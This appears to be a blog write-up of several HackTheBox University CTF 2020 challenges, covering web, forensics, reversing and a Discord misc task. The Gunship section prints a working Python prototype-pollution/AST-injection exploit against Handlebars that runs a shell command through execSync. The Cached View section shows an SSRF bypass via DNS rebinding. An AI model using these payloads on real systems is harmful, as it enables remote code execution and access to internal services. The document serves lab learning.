Posts HTB x UNI CTF 2020
Post
Cancel

HTB x UNI CTF 2020

Writeups for some challenges of different categories from HackTheBox University CTF 2020.

In the CTF, my team NetON representing our university, UPV, finished 19 place out of 204 teams, just one position away from qualifying to the finals.

Gunship [Web]

Browsing to the docker instance we find a web with title AST Injection build with nodejs which has an input form.

Let’s inspect the source code we can download

So the first thing we notice is that the flag is given a random name by reading the contents of entrypoint file :

1
2
3
# Generate random flag filename
FLAG=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1)
mv /app/flag /app/flag$FLAG

Then , inside routes we find the following index.js :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
const path              = require('path');
const express           = require('express');
const handlebars        = require('handlebars');
const { unflatten }     = require('flat');
const router            = express.Router();

router.get('/', (req, res) => {
    return res.sendFile(path.resolve('views/index.html'));
});

router.post('/api/submit', (req, res) => {
	// unflatten seems outdated and a bit vulnerable to prototype pollution
	// we sure hope so that po6ix doesn't pwn our puny app with his AST injection on template engines

    const { artist } = unflatten(req.body);

	if (artist.name.includes('Haigh') || artist.name.includes('Westaway') || artist.name.includes('Gingell')) {
		return res.json({
			'response': handlebars.compile('Hello , thank you for letting us know!')({ user:'guest' })
		});
	} else {
		return res.json({
			'response': 'Please provide us with the full name of an existing member.'
		});
	}
});

module.exports = router;

There we find the request is being posted to /api/submit and it is using handlebars as template engine. Taking into account the comments it is really easy to find a blog post written by p6 talking about AST injection : https://blog.p6.is/AST-Injection/#What-is-AST

In this case we are going to exploit it using prototype pollution, following its POC exploit we need to make a few changes.

The first one is posting a valid artist name to fulfill if statement conditions because if not handlebars won’t be triggered. Then we just need to modify the payload, in our case we just want to retrieve the flag so we can do that by redirecting the output of the cat command to the the main.js file which we can modify without breaking the app.

The final exploit is the following :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests

TARGET_URL = 'http://docker.hackthebox.eu:30072'

# make pollution
r=requests.post(TARGET_URL + '/api/submit', json = {
    "artist.name":"Haigh",
    "__proto__.type": "Program",
    "__proto__.body": [{
        "type": "MustacheStatement",
        "path": 0,
        "params": [{
            "type": "NumberLiteral",

            "value": "process.mainModule.require('child_process').execSync('cat flag* > static/js/main.js')"
        }],
        "loc": {
            "start": 0,
            "end": 0
        }
    }]
})
# execute
requests.get(TARGET_URL)
print(r.text)

After executing the exploit we go to the modified file and find the flag

Cached View [Web]

The web provided in this challenge allows us to cache websites :

By inspecting the source code downloaded , we find that there is a send flag function executed when we browse to /flag from localhost :

1
2
3
4
@web.route('/flag')
@is_from_localhost
def flag():
    return send_file('flag.png')

In other file , utils.py we find the restrictions and checks which imposes this function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 def is_inner_ipaddress(ip):
        ip = ip2long(ip)
        return ip2long('127.0.0.0') >> 24 == ip >> 24 or \
                ip2long('10.0.0.0') >> 24 == ip >> 24 or \
                ip2long('172.16.0.0') >> 20 == ip >> 20 or \
                ip2long('192.168.0.0') >> 16 == ip >> 16 or \
                ip2long('0.0.0.0') >> 24 == ip >> 24
    
    try:
        if is_inner_ipaddress(socket.gethostbyname(domain)):
            return flash('IP not allowed', 'danger')
        return serve_screenshot_from(url, domain)
    except Exception as e:
        return flash('Invalid domain', 'danger')

def is_from_localhost(func):
    @functools.wraps(func)
    def check_ip(*args, **kwargs):
        if request.remote_addr != '127.0.0.1':
            return abort(403)
        return func(*args, **kwargs)
    return check_ip

So we see it is not as easy as inputting http://127.0.0.1/flag because we get ip not allowed

Searching for SSRF techniques to bypass this filter we came across an article which talked about DNS Rebinding : https://geleta.eu/2019/my-first-ssrf-using-dns-rebinfing/

This technique allows to trick the webapp by using a custom dns server with a short ttl changing the IP it should resolve to.

For this purpose we will use this tool : http://rbnd.gl0.eu/

We create a new bin which will resolve to Google´s Ip and Localhost

Then taking into account the docker services runs in port 1337

1
2
3
#!/bin/bash
docker build --tag=web_cached_web .
docker run -p 1337:1337 --restart=on-failure --name=web_cached_web web_cached_web

We just need to send the following url http://ae4efa90412c4bc8859bec4a0a61185a.gel0.space:1337/flag

And it returns us the flag

Warren Buffer [Forensics]

In this challenge we are given a pcap file so we will analyse it with wireshark

Filtering by get requests and following the tcp stream , there is something odd with the user agent, the numbers after FourChan keep changing.

Writing down all this numbers we end up getting a hex string :

68 74 74 70 73 25 33 41 2f 2f 67 68 6f 73 74 62 69 6e 2e 63 6f 2f 70 61 73 74 65 2f 79 71 74 73 65 6b 39 33

Upon being decoded we get a pastebin url :

https://ghostbin.co/paste/yqtsek93

The password needed for entering the paste can be found at the end of the tcp stream

From it we get a large b64 string, we copy it and paste it to https://gchq.github.io/CyberChef obtaining the following image:

There we have what seems to be a ropsten ether address : 7d76830dDDBBA391F542cCbc3E598Df392a3F274

Using https://ropsten.etherscan.io/ we search for it and find the following transaction :

Going to the destination address, there is a transaction where a contract was created :

Removing the rubbish from there we can get the flag :

HTB{1a4b20ec17323f20909c224614308f09}

Patch of the Ninja [RE]

In this challenge we are given a gameboy ROM to reverse and obtain the flag.

After spending some time using ghidra extension https://github.com/Gekkio/GhidraBoy and mgba emulator, I decided to run strings obtaining the flag :

1
2
3
4
5
6
7
8
9
10
11
12
root@kali:~/Downloads/rev_patch_of_the_ninja# strings Patch_of_the_Ninja.gb

This is the "Hack
the box" server
room. Staff only!
He's stuck in some
trance-like
state...
I need to patch
the evil spirits
away.
HTB{C00l_Shurik3n}

HTBxUni AI [Misc]

For this challenge we need to have discord developer mode enabled.

This can be done going to configuration -> appearance -> enable developer mod.

Then, from the uni-ctf-misc-ai-challenge channel we can obtain the bot discord profile.

Trying to send him !shutdown from direct messages we get the following response

So what we need to do is obtaining its ID which can be done by doing right click copy ID from our DM Section.

The ID obtained was : 764609448089092119

Now that we have the bot ID we can invite him to a server we own by using this url from web browser :

https://discord.com/oauth2/authorize?scope=bot&permissions=0&client_id=764609448089092119

For this purpose I created a new server called HTB_CHall and invited the bot.

Now sending !shutdown from our server we are told that we are not an Administrator, so all we need to do is create the role Administrator and assign it to ourselves, then by sending again the command we get the flag .

This post is licensed under CC BY 4.0 by the author.